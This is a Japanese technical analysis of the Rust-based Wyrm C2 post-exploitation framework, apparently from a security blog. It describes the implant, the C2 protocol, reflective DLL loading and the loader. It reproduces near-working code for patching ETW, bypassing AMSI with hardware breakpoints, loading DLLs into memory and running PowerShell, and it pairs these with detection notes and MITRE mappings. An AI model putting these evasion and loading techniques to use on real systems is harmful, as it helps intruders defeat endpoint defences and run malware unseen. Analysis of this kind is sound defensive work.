Scarlet Tactics

悪用厳禁

Wyrm C2 v0.7.2 Hatchling from 0xflux

github.com

1. プロジェクト概要

Wyrm C2は Rust で書かれたオープンソースのCommand & Control (C2) フレームワークであり、Cobalt Strike、Mythic、Sliver等の商用/OSSツールに対抗するポスト・エクスプロイテーション基盤として設計されています。作者は 0xfluxGitHub: 0xflux)。現行バージョンは v0.7.2 (Hatchling) で、v1.0〜v4.0までのロードマップが策定されています。

アーキテクチャは以下の5つの主要クレートから構成されます:

クレート 役割 言語/フレームワーク
implant/ Windows上で動作するポストエクスプロイテーション・エージェント (RAT本体) Rust (no_std対応部分あり)
c2/ C2サーバ (API + DB + ビルダー) Rust / Axum / PostgreSQL
client/ オペレータ用Web GUI Rust / Leptos (WASM)
loader/ rDLLのXOR暗号化ペイロードをメモリ展開するローダー Rust (no_std)
shared* implant/C2/client間で共有するデータ型・ネットワークプロトコルshared, shared_no_std など) Rust

インフラストラクチャは Docker Compose + NGINX(リバースプロキシ) + PostgreSQL + Caddy(クライアント配信)で構成されます。

技術的背景:

Rustの採用はC2フレームワーク開発において複数の戦術的利点を提供します。所有権システムによるメモリ安全性、CRT非依存のno_stdバイナリ生成能力、windows-sysクレートによるFFI呼び出しの型安全性、そしてLLVMバックエンドによる最適化がそれにあたります。特にno_std対応は、反射的ローディング環境でのmsvcrt.dll / ucrtbase.dll依存を排除し、EDRが監視するCRTフック(malloc/free等)をバイパスできる点が重要です。

windows-sysクレートはwindowsクレートと異なりCOMラッパーを含まない薄いFFIバインディングであるため、バイナリサイズが小さく、implantのフットプリント削減に寄与しています。

MITRE ATT&CK マッピング: T1587.001 (Develop Capabilities: Malware)

参考:


2. Implant (エージェント) 詳細

2.1 エントリポイントとライフサイクル

ビルド形態

implantは4つのバイナリ形態で出力されます:

  1. EXE (main.rs) — 標準的な実行ファイル
  2. DLL (lib.rs) — reflective loading用のLoadエクスポートとDllMain、さらにプロファイルで定義されたカスタムエクスポートを持つ
  3. SVC (main_svc.rs) — Windowsサービスとして動作。StartServiceCtrlDispatcherWServiceMainstart_wyrm()の流れ
  4. Loader (loader/) — rDLLをXOR暗号化して.textセクションに埋め込んだラッパー

SVC形態の内部動作:

SVC形態は#![no_std] / #![no_main]で構築され、StartServiceCtrlDispatcherWでサービスディスパッチテーブルを登録します。ServiceMain関数内でRegisterServiceCtrlHandlerExWを呼び出し、サービスステータスをSERVICE_RUNNINGに更新した後start_wyrm()を実行します。SERVICE_CONTROL_STOPの受信はAtomicBoolSERVICE_STOP_EVENT)で管理されます。サービス名はプロファイルのsvc_nameフィールドで設定可能で、service_name_pwstr!()マクロでコンパイル時にUTF-16リテラルに変換されます。

技術的ポイント: SVCIS_IMPLANT_SVCフラグをグローバルAtomicBoolで管理しており、KillAgentコマンド受信時にサービス固有の終了処理(stop_svc_and_exit())を実行する分岐に利用されます。通常のEXE/DLL形態ではExitProcess(0)が直接呼ばれます。

起動シーケンス (entry.rs: start_wyrm())

start_wyrm()
├─ APPLICATION_RUNNING = true (AtomicBool)
├─ init_agent_console()           // デバッグコンソール初期化
├─ on_start_evasion()
│   ├─ anti_sandbox()             // feature gate: sandbox_trig, sandbox_mem
│   │   ├─ trig_mouse_movements()   // マウス移動を監視しサンドボックス判定
│   │   └─ validate_ram_sz_or_panic()  // RAM容量チェック
│   └─ run_evasion()
│       └─ etw_bypass()           // feature gate: patch_etw
│           └─ NtTraceEventの先頭を0xC3 (RET) でパッチ
├─ Wyrm::new()                    // コンパイル時埋め込みのIOCを復号し構造体初期化
│   ├─ translate_build_artifacts()  // コンパイル時暗号化されたC2設定の復号
│   ├─ WyrmMutex::new()            // Mutexによる多重起動防止
│   └─ build_implant_id()          // ランダムなimplant ID生成
├─ first_check_in()               // 初回C2接続 (設定取得・登録)
│   └─ configuration_connection() → HTTP POST
└─ メインループ
    ├─ get_tasks_http()            // HTTP GETでタスク取得
    ├─ dispatch_tasks()            // タスク実行
    └─ Sleep(calculate_sleep_seconds())  // sleep + jitter

Mutexによる多重起動防止の実装詳細:

WyrmMutex::new()OpenMutexA(SYNCHRONIZE, FALSE, name)で既存Mutexの有無を確認し、存在する場合はSome(())を返して起動を中断します。Mutex名はプロファイルのmutexフィールドで指定され、generate_mutex_name()で加工されます。これにより同一ホスト上でのimplant多重起動を防止し、異常な挙動を抑制します。

MITRE ATT&CK マッピング: T1106 (Native API), T1569.002 (System Services: Service Execution)

カスタムアロケータ (utils/allocate.rs)

ProcessHeapAllocをグローバルアロケータ(#[global_allocator])として使用。Rustの標準ヒープアロケータ(通常はSystem、内部でHeapAlloc/HeapFreeをCRT経由で呼び出す)の代わりに、Windows Process Heapを直接利用します。

なぜ標準アロケータを使わないのか:

標準Rustアロケータは__rust_alloc_aligned_malloc(MSVC CRT)あるいはmallocMinGW)を経由します。rDLL環境ではCRT初期化(_DllMainCRTStartup)が完了していないため、これらのCRT関数呼び出しはクラッシュの原因となります。ProcessHeapAllocGetProcessHeap() + HeapAlloc()/HeapFree()を直接呼び出すため、CRT依存を完全に排除できます。

加えて、EDR製品の一部はCRTのmalloc/freeをフックして異常なメモリパターンを監視するため、Process Heapの直接使用はこの検知面も回避します。

参考:

2.2 コンパイル時設定の埋め込み (utils/comptime.rs, build.rs)

implantのIOC (Indicator of Compromise) はすべてコンパイル時に暗号化されてバイナリに埋め込まれます。

埋め込みの2段階メカニズム:

  1. build.rs: C2サーバがペイロードビルド時に環境変数DEF_SLEEP_TIME, C2_HOST, C2_URIS, C2_PORT, SECURITY_TOKEN, USERAGENT, AGENT_NAME, JITTER, SVC_NAME, MUTEX, DEFAULT_SPAWN_AS, WOF等)をcargo:rustc-env=KEY=VALUEとして渡す
  2. str_crypterクレートのsc!マクロ: option_env!()で取得した文字列リテラルコンパイル時にXOR暗号化。暗号化された[u8]配列がバイナリの.rdataセクションに埋め込まれ、実行時にスタック上で復号される
// comptime.rsでの使用例(概念)
let sleep_seconds: u64 = option_env!("DEF_SLEEP_TIME").unwrap().parse().unwrap();
const URL: &str = option_env!("C2_HOST").unwrap_or_default();

sc!マクロは復号されたデータをスタック上に配置するため、ヒープに平文が残存するリスクを低減します。ただし、スタックメモリのスキャンでは検出可能です。

serde(rename = "a")によるフィールド名ストンプ: shared/src/stomped_structs.rsでネットワーク通信用の構造体フィールド名を1文字にリネームし、JSONシリアライズ後のトラフィックサイズと可読性を低減しています。

検知観点: YARAルールによる静的文字列マッチングは事実上無効化されますが、sc!マクロの復号ルーチン自体のバイトパターンをシグネチャ化することは可能です。また、メモリフォレンジクスではスタック上の復号済み文字列を捕捉できる可能性があります。

MITRE ATT&CK マッピング: T1027 (Obfuscated Files or Information), T1027.013 (Encrypted/Encoded File)

参考:

2.3 ネットワーク通信プロトコル (comms.rs, shared/src/net.rs)

通信フロー

Implant → C2:  HTTP GET  (タスク取得 / チェックイン)
Implant → C2:  HTTP POST (完了タスク送信 / 初回チェックイン / ファイルexfil)

ヘッダ構成

ヘッダ 用途
WWW-Authenticate Implant IDの送信
Authorization セキュリティトーク
User-Agent プロファイルで設定可能なUA
Content-Type application/json(POST時)

ヘッダ生成の実装 (comms.rs: generate_generic_headers()):

fn generate_generic_headers(implant_id: &str, security_token: &str, ua: &str) -> HeaderMap {
    let mut headers = HeaderMap::new();
    headers.insert(WWW_AUTHENTICATE, implant_id.parse().unwrap());
    headers.insert(USER_AGENT, ua.parse().unwrap());
    headers.insert(AUTHORIZATION, security_token.parse().unwrap());
    headers
}

WWW-Authenticateヘッダは通常サーバからクライアントへの認証チャレンジに使われるヘッダであり、クライアント→サーバ方向での使用はHTTP仕様上異例です。これはネットワーク解析者にとって強いIOCとなります。

データの暗号化と通信プロトコル詳細

TLS下層で追加のXOR暗号化が適用されます。暗号化キーはshared/src/net.rsでハードコードされています:

const NET_XOR_KEY: u8 = 0x3d;   // ネットワーク通信用XORキー
pub const STR_CRYPT_XOR_KEY: u8 = 0x1f;  // 文字列暗号化用キー

タスクのシリアライズフォーマット:

C2→Implantのタスク配信は独自バイナリフォーマットを使用します(shared/src/net.rs: decode_http_response()):

[4 bytes: task_id (i32 LE)]  // データベース上のタスクID
[4 bytes: command (i32 LE)]  // Command列挙型の整数値
[8 bytes: timestamp (i64 LE)] // エポック秒
[残り: metadata (UTF-16 LE)] // コマンド引数等(オプション)

各タスクは個別にXOR暗号化された後、JSON配列(Vec<Vec<u8>>)としてシリアライズされて送信されます。

Implant→C2の完了タスク送信:

完了タスクはUTF-16エンコードencode_u16buf_to_u8buf())後にXOR暗号化され、同様にJSON配列として送信されます。UTF-16エンコードWindowsのワイド文字列(LPCWSTR等)との互換性を保つための設計です。

送信フロー:
completed_tasks (Vec<u16>) → encode_u16buf_to_u8buf() → xor_network_stream() → JSON array → HTTP POST

HTTPクライアント: ureqクレートを使用。TLSプロバイダはrustls(pure Rust TLS実装)です。レスポンスサイズ上限はMAX_RESPONSE_SZ_BYTES = 500MB

エンドポイントランダマイズ

construct_c2_url()はプロファイルで定義された複数のURIからランダムに1つを選択します。SmallRngOsRngでシードされた軽量PRNG)を使用し、暗号学的安全性は求めないが十分なランダム性を提供します。

プロキシ自動検出

resolve_web_proxy()WindowsWinHttpGetProxyForUrl APIを呼び出してPAC(Proxy Auto-Configuration)ファイルを解決し、企業環境のプロキシ設定を自動取得します。取得したプロキシURLはureq::Proxyに変換されてHTTPクライアントに適用されます。

検知観点: JA3/JA4フィンガープリントはrustls固有のものとなり、一般的なブラウザとは異なるパターンを示します。HTTPヘッダのWWW-Authenticateフィールドにimplant IDが含まれる点は強力なIOCです。

MITRE ATT&CK マッピング: T1071.001 (Application Layer Protocol: Web Protocols), T1573.001 (Encrypted Channel: Symmetric Cryptography), T1090 (Proxy)

参考:

2.4 コマンドディスパッチャー (wyrm.rs: dispatch_tasks())

implantのメインコマンドディスパッチャーはVecDeque<Task>キューからタスクを順次処理します。サポートされるコマンド一覧:

コマンド 関数/処理 説明
Sleep update_sleep_time() スリープ時間の更新
Ps running_process_details() プロセス一覧取得(CreateToolhelp32Snapshot + Process32First/Next
GetUsername get_logged_in_username() 現在のユーザー名取得
Pillage pillage() ファイルシステム探索・機密情報収集
Pwd 直接処理 カレントディレクトリ取得
Cd change_directory() ディレクトリ変更
Ls dir_listing() ディレクトリ一覧
Run run_powershell() PowerShellコマンド実行
KillProcess kill_process() 指定PIDのプロセス終了(TerminateProcess
Drop drop_file_to_disk() ステージドファイルのディスク書き込み
Copy / Move move_or_copy_file() ファイルコピー/移動
Rm / RmDir rm_from_fs() ファイル/ディレクトリ削除
Pull pull_file() ターゲットからファイル取得(exfiltration)
RegQuery / RegAdd / RegDel reg_query() / reg_add() / reg_del() レジストリ操作
DotnetExec execute_dotnet_current_process() .NETアセンブリのインメモリ実行
Spawn Spawn::execute() Early Cascade Injectionによる新プロセス生成+injection
Inject Inject::execute() 既存プロセスへのinjection
Wof / WofWithArg call_static_wof_no_arg() / call_static_wof_with_arg() WOF実行
KillAgent ExitProcess(0) / stop_svc_and_exit() エージェント終了

PowerShell実行の実装 (native/shell.rs):

pub fn run_powershell(command: &Option<String>, implant: &Wyrm) -> Option<impl Serialize> {
    let output = Command::new("powershell")
        .arg(command)
        .current_dir(&implant.current_working_directory)
        .output()
        .ok()?;
    // stdout/stderr をキャプチャして返却
}

std::process::CommandPowerShellプロセスを起動するシンプルな実装です。current_dirでimplantの現在のワーキングディレクトリを引き継ぎます。この方式はEDRに容易に検知される(powershell.exeの子プロセス生成)ため、高セキュリティ環境ではDotnetExecやWOFの使用が推奨されます。

プロセス列挙の実装 (native/processes.rs):

CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0)Process32First / Process32Nextでプロセス一覧を取得。各プロセスに対してOpenProcess(PROCESS_QUERY_LIMITED_INFORMATION)OpenProcessToken(TOKEN_QUERY)GetTokenInformation(TokenUser)LookupAccountSidWでユーザーSIDを名前に変換し、プロセスの実行ユーザーを特定します。

MITRE ATT&CK マッピング: T1059.001 (PowerShell), T1057 (Process Discovery), T1083 (File and Directory Discovery), T1012 (Query Registry)


3. Reflective DLL Injection (rDI) エンジン

3.1 概要

implant/src/stubs/rdi.rs はimplant DLL自身を 完全にno_std で反射的にロードするスタブです。外部ツール(カスタムローダー、Cobalt Strike等)からはLoadエクスポートを呼び出すだけで動作します。

Stephen Fewerが2008年に発表したオリジナルのReflective DLL Injection技法をRustで再実装したものです。オリジナルとの主な違いは、Rustのno_std環境で型安全に実装されている点と、PEB走査がインラインアセンブリで行われる点です。

3.2 Load() エクスポートの処理フロー

Load(image_base: *mut c_void)
├─ RdiExports::new()
│   └─ PEB → InMemoryOrderModuleList を走査して
│      kernel32.dll から以下を解決:
│      - VirtualAlloc
│      - VirtualProtect
│      - LoadLibraryA
│      - GetProcAddress
│      - FlushInstructionCache
│      - GetCurrentProcess
├─ [optional] nostd_patch_etw_current_process()  // ETWパッチ (feature gate)
├─ calculate_image_base()  // 自身のPEベースアドレス推定
├─ DOSヘッダ / NTヘッダの解析 (read_unaligned)
├─ VirtualAlloc(SizeOfImage, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
├─ write_payload()  // ヘッダ + セクションをマッピング
├─ process_relocations()  // ベースリロケーション処理
│   └─ IMAGE_REL_BASED_DIR64 / IMAGE_REL_BASED_HIGHLOW に対応
├─ patch_iat()  // IAT解決
│   └─ IMAGE_IMPORT_DESCRIPTOR を走査
│      ├─ LoadLibraryA() でDLLロード
│      └─ ordinal/名前ベースでGetProcAddress()
├─ relocate_and_commit()  // セクション保護属性の適用
│   └─ 各セクションに対して VirtualProtect() で
│      R/W/X フラグを正しく設定
│   └─ FlushInstructionCache()
└─ find_export_address("Start") → Start() 呼び出し
   └─ Start() = start_wyrm() のラッパー

API解決の詳細 (RdiExports::new())

RdiExports構造体は6つの関数ポインタを保持します。各関数ポインタはexport_resolver::resolve_address()で解決されます:

struct RdiExports {
    LoadLibraryA:       unsafe extern "system" fn(PCSTR) -> HMODULE,
    VirtualAlloc:       unsafe extern "system" fn(*const c_void, usize, u32, u32) -> *mut c_void,
    VirtualProtect:     unsafe extern "system" fn(*const c_void, usize, u32, *mut u32) -> BOOL,
    GetProcAddresS:     unsafe extern "system" fn(HMODULE, PCSTR) -> FARPROC,
    FlushInstructionCache: unsafe extern "system" fn(HANDLE, *mut c_void, usize) -> BOOL,
    GetCurrentProcess:  unsafe extern "system" fn() -> HANDLE,
}

解決後、各ポインタがnullでないことをバリデーションし、1つでも失敗すればNoneを返して処理を中断します。transmuteで生ポインタから型付き関数ポインタに変換します。

calculate_image_base() — 自己ベースアドレス推定

Early Cascade InjectionではLoad()に引数としてベースアドレスを渡せないケースがあるため、自己発見メカニズムが実装されています:

fn calculate_image_base() -> Option<*mut c_void> {
    let load_addr = Load as *const () as usize;
    let mut current = load_addr & !0xFFFF;  // 64KBアラインメント境界に切り下げ

    for _ in 0..16 {
        if is_valid_pe_base(current) {
            return Some(current as *mut c_void);
        }
        current = current.wrapping_sub(0x10000);  // 64KB単位で後退
    }
    None
}

Load関数自身のアドレスから64KBアラインメント境界に切り下げ、最大16回(=1MB範囲)後退しながらPEシグネチャを探索します。is_valid_pe_base()は以下の5段階バリデーションを実行:

  1. e_lfanewの範囲チェック(0x40〜0x1000)
  2. PEシグネチャ0x00004550 = "PE\0\0")の検証
  3. マシンタイプ(0x8664 = AMD64)の確認
  4. OptionalHeaderマジック(0x020B = PE32+)の確認
  5. SizeOfImageの妥当性(0〜50MBの範囲)

この64KBアラインメントはWindowsVirtualAllocがデフォルトで64KB境界にアラインされたアドレスを返すことに基づいています。

セクションマッピング (write_payload())

fn write_payload(new_base, old_base, nt_headers_ptr, nt_headers) {
    // NTヘッダからセクションヘッダのオフセットを計算
    let section_header_offset = (nt_headers_ptr - old_base)
        + size_of::<u32>()                    // Signature
        + size_of::<IMAGE_FILE_HEADER>()       // FileHeader
        + nt_headers.FileHeader.SizeOfOptionalHeader;

    // 各セクションをコピー
    for i in 0..nt_headers.FileHeader.NumberOfSections {
        let header_i = read_unaligned(section_header_ptr.add(i));
        copy_nonoverlapping(
            old_base.add(header_i.PointerToRawData),     // ソース: ファイル上のオフセット
            new_base.add(header_i.VirtualAddress),        // 宛先: メモリ上のRVA
            header_i.SizeOfRawData
        );
    }

    // PEヘッダもコピー
    copy_nonoverlapping(old_base, new_base, nt_headers.OptionalHeader.SizeOfHeaders);
}

ベースリロケーション処理 (process_relocations())

リロケーションデルタ(実際のロードアドレスとImageBaseの差分)を計算し、IMAGE_BASE_RELOCATIONブロックを走査します:

let load_diff = p_image_base as isize - (*p_nt_headers).OptionalHeader.ImageBase as isize;

各リロケーションエントリの上位4ビットがタイプを示し、下位12ビットがブロック内オフセットとなります:

タイプ 処理
IMAGE_REL_BASED_DIR64 10 64ビットアドレスにデルタを加算
IMAGE_REL_BASED_HIGHLOW 3 32ビットアドレスにデルタを加算
その他(ABSOLUTE等) 0 パディング、スキップ

IAT解決 (patch_iat())

IMAGE_IMPORT_DESCRIPTORの連鎖リストを走査し、各インポートDLLに対して:

  1. LoadLibraryA()でDLLをロード
  2. 各サンク(IMAGE_THUNK_DATA64)について:
    • IMAGE_ORDINAL_FLAG64がセットされていればOrdinalベースでGetProcAddress()
    • そうでなければ名前ベースでGetProcAddress()
  3. 解決されたアドレスをIATエントリに書き戻し

セクション保護の適用 (relocate_and_commit())

各セクションのCharacteristicsフィールドからIMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITEフラグを組み合わせて適切な保護属性をマッピング

R W X 保護属性
0 0 0 PAGE_NOACCESS
0 1 0 PAGE_WRITECOPY
1 0 0 PAGE_READONLY
1 1 0 PAGE_READWRITE
0 0 1 PAGE_EXECUTE
1 0 1 PAGE_EXECUTE_READ
1 1 1 PAGE_EXECUTE_READWRITE

最後にFlushInstructionCache(GetCurrentProcess(), NULL, 0)でCPUの命令キャッシュを無効化し、書き込んだコードの確実な実行を保証します。

エラーハンドリング

RdiErrorCodes列挙型で段階的にエラーを報告:

コード 意味
Success 0 成功
CouldNotParseExports 1 API解決失敗
RelocationsNull 2 リロケーションテーブルが無効
MalformedVirtualAddress 3 インポートテーブルのVAが不正
ImportDescriptorNull 4 インポートディスクリプタがNULL
NoEntry 5 "Start"エクスポートが見つからない

3.3 Export解決メカニズム (shared_no_std/src/export_resolver.rs)

独立したPEB走査ベースのexport resolver(作者のPE-Export-Resolverクレートのローカルコピー)を使用します。

PEB走査のインラインアセンブリ

TEB (gs:[0x60]) → PEB → PEB_LDR_DATA → InMemoryOrderModuleList

x64環境ではgsセグメントレジスタのオフセット0x60がPEBを指します。LdrフィールドからPEB_LDR_DATAを取得し、InMemoryOrderModuleList(ロード順のモジュール双方向リスト)を走査して目的のDLL(大文字小文字を無視した名前比較)のベースアドレスを取得します。

Export Tableの手動パース

取得したDLLベースアドレスから:

DOSヘッダ → NTヘッダ → OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
→ IMAGE_EXPORT_DIRECTORY を取得
→ AddressOfNames (名前テーブル) / AddressOfNameOrdinals (序数テーブル) / AddressOfFunctions (関数アドレステーブル)
を照合して関数ポインタを返却

Ordinalベースの解決もサポート(IMAGE_ORDINAL_FLAG64チェック)。未マップファイルからのexport解決(find_export_from_unmapped_file())にも対応しており、Early Cascade Injectionでリモートプロセスのメモリに書き込む前のアドレス計算に使用されます。

検知観点: PEB走査自体は正規プログラムでも使用されることがありますが、GetProcAddressを呼ばずにExport Tableを直接パースする挙動はマルウェアの典型的パターンです。ただしrDIブートストラップ時の一瞬のみであり、継続的な監視は困難です。

3.4 PEヘッダスタンプ (utils/pe_stomp.rs)

rDIでメモリにロードされたDLLのPEヘッダを破壊します: - オフセット0〜50バイト(MZヘッダ)をゼロ埋め(e_lfanewを保持しつつ) - オフセット0x4E〜0x73("This program cannot be run in DOS mode...")をゼロ埋め

目的: メモリスキャナ(Moneta、pe-sieve、MalMemDetect等)はunbacked memoryからPEシグネチャMZヘッダ、DOSスタブ)を検索してインメモリPEを検出します。これらのマジックバイトを破壊することで検出を回避します。

限界: NTヘッダ、セクションテーブル、Import/Exportテーブル等のPE構造は残存するため、より高度なスキャナ(NTヘッダのPEシグネチャチェック等)では検知可能です。

MITRE ATT&CK マッピング: T1620 (Reflective Code Loading), T1055.001 (Process Injection: DLL Injection)

参考:


4. Loader (loader/)

4.1 設計

loaderは完全なno_std/no_main DLLとして構築されます。rDLLペイロードXOR暗号化(キー: 0x90した状態で.textセクションにinclude_bytes!で埋め込みます。

include_bytes!マクロの使用: Rustコンパイラの組み込みマクロで、指定ファイルの内容を&[u8]スライスとしてバイナリに直接埋め込みます。ペイロードbuild.rsが事前にXOR暗号化したrdll_encrypted.binファイルです。

const DLL_BYTES: &[u8] = include_bytes!(concat!(env!("OUT_DIR"), "/rdll_encrypted.bin"));
const ENCRYPTION_KEY: u8 = 0x90;

4.2 実行フロー (loader/src/injector.rs)

inject_current_process()
├─ VirtualAlloc(DLL_BYTES.len(), PAGE_READWRITE)
├─ copy_nonoverlapping(DLL_BYTES → allocated memory)
├─ XORデコード: for i in 0..len { *ptr.add(i) ^= 0x90 }
├─ DOSヘッダからe_lfanew → NTヘッダ取得
├─ find_export_address(p_decrypt, mapped_nt_ptr, "Load")
│   └─ 未マップPEからのexportアドレス解決
├─ VirtualProtect(PAGE_EXECUTE_READWRITE)
├─ transmute で関数ポインタ型にキャスト:
│   let reflective_load: unsafe extern "system" fn(*mut c_void) -> u32
└─ reflective_load(p_decrypt) → rDIフロー開始

XOR暗号化キー0x90の特性: 0x90x86NOP命令のオペコードです。これは暗号学的には弱い(既知平文攻撃に対して脆弱)ものの、静的解析ツールがPEヘッダのマジックバイト(MZ=0x4D5A)を直接検出することを防ぎます。0x4D ^ 0x90 = 0xDD, 0x5A ^ 0x90 = 0xCAとなるため、MZパターンマッチは無効化されます。

重要な検知ポイント: VirtualAlloc(PAGE_READWRITE)VirtualProtect(PAGE_EXECUTE_READWRITE)のシーケンスは、メモリ保護属性の昇格パターンとしてEDRに監視されます。

4.3 エクスポート構成 (loader/src/export_comptime.rs)

loaderはimplantと同様のビルド時エクスポート生成メカニズムを持ち、DLLサイドローディング用のカスタムエクスポートを定義可能です。StartType列挙型で起動方式を選択:

  • Thread: CreateThreadで新スレッドを生成しinject_current_process()を実行
  • Inline: 現在のスレッドで直接inject_current_process()を実行
  • FromExport: カスタムエクスポート経由での呼び出し(内部的にThreadと同等の動作)

MITRE ATT&CK マッピング: T1129 (Shared Modules), T1574.002 (Hijack Execution Flow: DLL Side-Loading)

参考:


5. 防御回避テクニック (Evasion)

5.1 ETW (Event Tracing for Windows) バイパス (evasion/etw.rs, stubs/rdi.rs)

手法の概要

ntdll.dllNtTraceEventの先頭バイトを0xC3 (RET命令) で上書きすることで、ETWイベントの発行を無効化します。

2つの実装

Wyrmは2つの独立したETWバイパス実装を持ちます:

1. 標準環境版 (evasion/etw.rs):

std環境で動作し、WriteProcessMemoryを使用:

fn evade_etw_current_process_overwrite_ntdll() -> Result<(), ExportResolveError> {
    let fn_addr = export_resolver::resolve_address("ntdll.dll", "NtTraceEvent", None)?;

    // 二重パッチ防止
    if unsafe { *(fn_addr as *mut u8) } == 0xC3 { return Ok(()); }

    let handle = unsafe { GetCurrentProcess() };
    let ret_opcode: u8 = 0xC3;
    unsafe {
        WriteProcessMemory(handle, fn_addr, &ret_opcode as *const u8 as _, 1, &mut 0);
    };
    Ok(())
}

2. no_std版 (stubs/rdi.rs: nostd_patch_etw_current_process()):

rDIブートストラップ段階で使用。RdiExportsVirtualProtectを直接使用:

fn nostd_patch_etw_current_process(exports: &RdiExports) {
    let fn_addr = export_resolver::resolve_address("ntdll.dll", "NtTraceEvent", None)
        .unwrap_or_default() as *mut u8;

    if unsafe { *fn_addr } == 0xC3 { return; }  // 二重パッチ防止

    let mut old_protect: u32 = 0;
    (exports.VirtualProtect)(fn_addr as _, 1, PAGE_EXECUTE_READWRITE, &mut old_protect);
    core::ptr::write_bytes(fn_addr, 0xC3, 1);    // パッチ適用
    (exports.VirtualProtect)(fn_addr as _, 1, old_protect, &mut 0);  // 保護属性復元
}

no_std版はメモリ保護属性を正しく復元する点が標準版より丁寧です(PAGE_EXECUTE_READWRITE → 元の属性)。

ETWバイパスの技術的背景

ETWはWindowsの統合トレーシング機能で、多くのEDR製品がプロセスの挙動監視に利用しています。NtTraceEventはすべてのETWイベント発行の最終経路(ユーザーモード側)であり、これをRET命令で即座にリターンさせることで、プロセス内のすべてのETWイベント(.NETランタイムイベント、セキュリティ監査イベント等)を黙殺します。

検知手法: ntdll.dllのメモリイメージとディスク上のイメージを比較するintegrity check。先頭バイトが0xC3に変更されていることを検出可能。Microsoft Defender for Endpointの「Tampering with ETW」検知ルール等。

MITRE ATT&CK マッピング: T1562.001 (Impair Defenses: Disable or Modify Tools)

参考:

5.2 AMSI (Antimalware Scan Interface) バイパス (evasion/amsi.rs, evasion/veh.rs)

現行手法: VEH² (Vectored Exception Handler Squared)

従来のAMSIバイパス(AmsiScanBufferの先頭を0xC3で上書き)は関数コードの直接改ざんが必要で、EDRのメモリ整合性チェックで容易に検知されます。VEH²はこれを回避する高度な手法です。

実装の詳細ステップ

Step 1: VEHハンドラの登録 (amsi.rs: amsi_veh_squared())

fn amsi_veh_squared() -> bool {
    let h = unsafe { AddVectoredExceptionHandler(1, Some(veh_handler)) };
    if h.is_null() { return false; }
    unsafe { core::arch::asm!("int3") };  // BREAKPOINT例外を意図的に発生
    true
}

AddVectoredExceptionHandlerの第1引数1は「最初に呼ばれるハンドラ」を意味します。

Step 2: VEHハンドラの処理 (veh.rs: veh_handler())

unsafe extern "system" fn veh_handler(p_ep: *mut EXCEPTION_POINTERS) -> i32 {
    let exception_record = *(*p_ep).ExceptionRecord;
    let ctx = &mut *(*p_ep).ContextRecord;

    if exception_record.ExceptionCode == EXCEPTION_BREAKPOINT {
        // Phase 1: ハードウェアブレークポイントの設定
        if let Some(p_amsi_scan_buf) = addr_of_amsi_scan_buf() {
            ctx.Dr0 = p_amsi_scan_buf as u64;  // Dr0にAmsiScanBufferのアドレスを設定
            ctx.Dr7 |= 1;                        // Dr0をローカル有効化(ビット0)
        }
        ctx.Rip += 1;  // int3命令(1バイト)の次へ進む
        ctx.ContextFlags |= CONTEXT_DEBUG_REGISTERS_AMD64;
        ctx.Dr6 = 0;   // デバッグステータスレジスタをクリア
        return EXCEPTION_CONTINUE_EXECUTION;
    }

    if exception_record.ExceptionCode == EXCEPTION_SINGLE_STEP {
        // Phase 2: AmsiScanBufferが呼ばれた時の処理
        if (ctx.Dr6 & 0x1) == 0 { return EXCEPTION_CONTINUE_SEARCH; }  // 他のBP由来なら無視

        ctx.Rax = 0x80070057;  // E_INVALIDARG をセット → AMSI_RESULT_CLEAN扱い
        ctx.Dr0 = 0;           // ブレークポイント解除
        ctx.Dr7 &= !(1u64);   // Dr0を無効化
        ctx.Dr6 = 0;
        ctx.Rip = /* AmsiScanBufferのリターンアドレス */;
        return EXCEPTION_CONTINUE_EXECUTION;
    }
    EXCEPTION_CONTINUE_SEARCH
}

動作原理の詳細

  1. Phase 1 (EXCEPTION_BREAKPOINT): int3命令で意図的にブレークポイント例外を発生。VEHハンドラ内でハードウェアブレークポイント(Dr0レジスタ)にAmsiScanBufferのアドレスを設定し、Dr7で有効化。これによりAmsiScanBufferが呼び出されるとEXCEPTION_SINGLE_STEPが発生するようになる。

  2. Phase 2 (EXCEPTION_SINGLE_STEP): AmsiScanBufferが実行開始した瞬間にハードウェアブレークポイントがトリガーされ、VEHハンドラが制御を取得。RaxレジスタE_INVALIDARG (0x80070057)をセットし、関数のリターンアドレスにRipを変更。これによりAmsiScanBufferは何もスキャンせずに「引数エラー」で返る。呼び出し元はスキャン結果を「クリーン」と解釈する。

デコイロードの重要性

.NET実行前にamsi.dllがロードされていない可能性があるため、空のバイト配列([0x00, 0x00, 0x00, 0x00])をデコイとしてCLRLoad_3に渡し、AMSIのロードを強制します:

let decoy_buf = [0x00, 0x00, 0x00, 0x00];
let p_decoy_sa = create_safe_array(&decoy_buf)?;
let _res = unsafe { load_3(app_domain as *mut _, p_decoy_sa, &mut sp_assembly) };
// デコイのロード結果はエラーだが無視(目的はamsi.dllの強制ロード)

// amsi.dllがロードされたのでVEH²を適用
evade_amsi();

// 本命アセンブリをAMSIバイパス下でロード
let res = unsafe { load_3(app_domain as *mut _, p_sa, &mut sp_assembly) };

旧手法(無効化済み)

amsi_patch_ntdll()AmsiScanBufferの先頭を0xC3 (RET) で直接上書きする従来手法。コード内でコメントアウトされVEH²に置き換えられています。

検知観点: AddVectoredExceptionHandlerAPI呼び出し自体、およびDr0/Dr7レジスタの変更はETW(ただしETWも無効化済み)やカーネルコールバックで監視可能。ただし関数コードの直接改ざんがないため、メモリ整合性チェックでは検知不可。

MITRE ATT&CK マッピング: T1562.001 (Impair Defenses: Disable or Modify Tools)

参考:

5.3 アンチサンドボックス (anti_sandbox/)

マウストリガー (trig.rs)

GetCursorPosを繰り返し呼び出し、2点間の角度と移動距離を計算。異常な移動パターン(角度 > MAX_ANGLE、距離 > MAX_TRAVEL_DISTANCE、または移動なし)を検出した場合はループを継続し、実行を遅延させます。タイマー付きで無限ブロックを防止。

自動化されたサンドボックス環境ではマウス移動がシミュレートされないか、機械的な直線移動となるため、人間の操作との区別が可能です。

RAMサイズチェック (memory.rs)

GlobalMemoryStatusExで物理メモリ容量を確認し、閾値未満(通常のサンドボックスVMは1〜4GB程度)であればpanic!()でプロセスを終了。

MITRE ATT&CK マッピング: T1497.001 (Virtualization/Sandbox Evasion: System Checks)

5.4 その他の回避機能

  • 文字列暗号化: str_cryptersc!マクロによるコンパイル時XOR暗号化(§2.2参照)
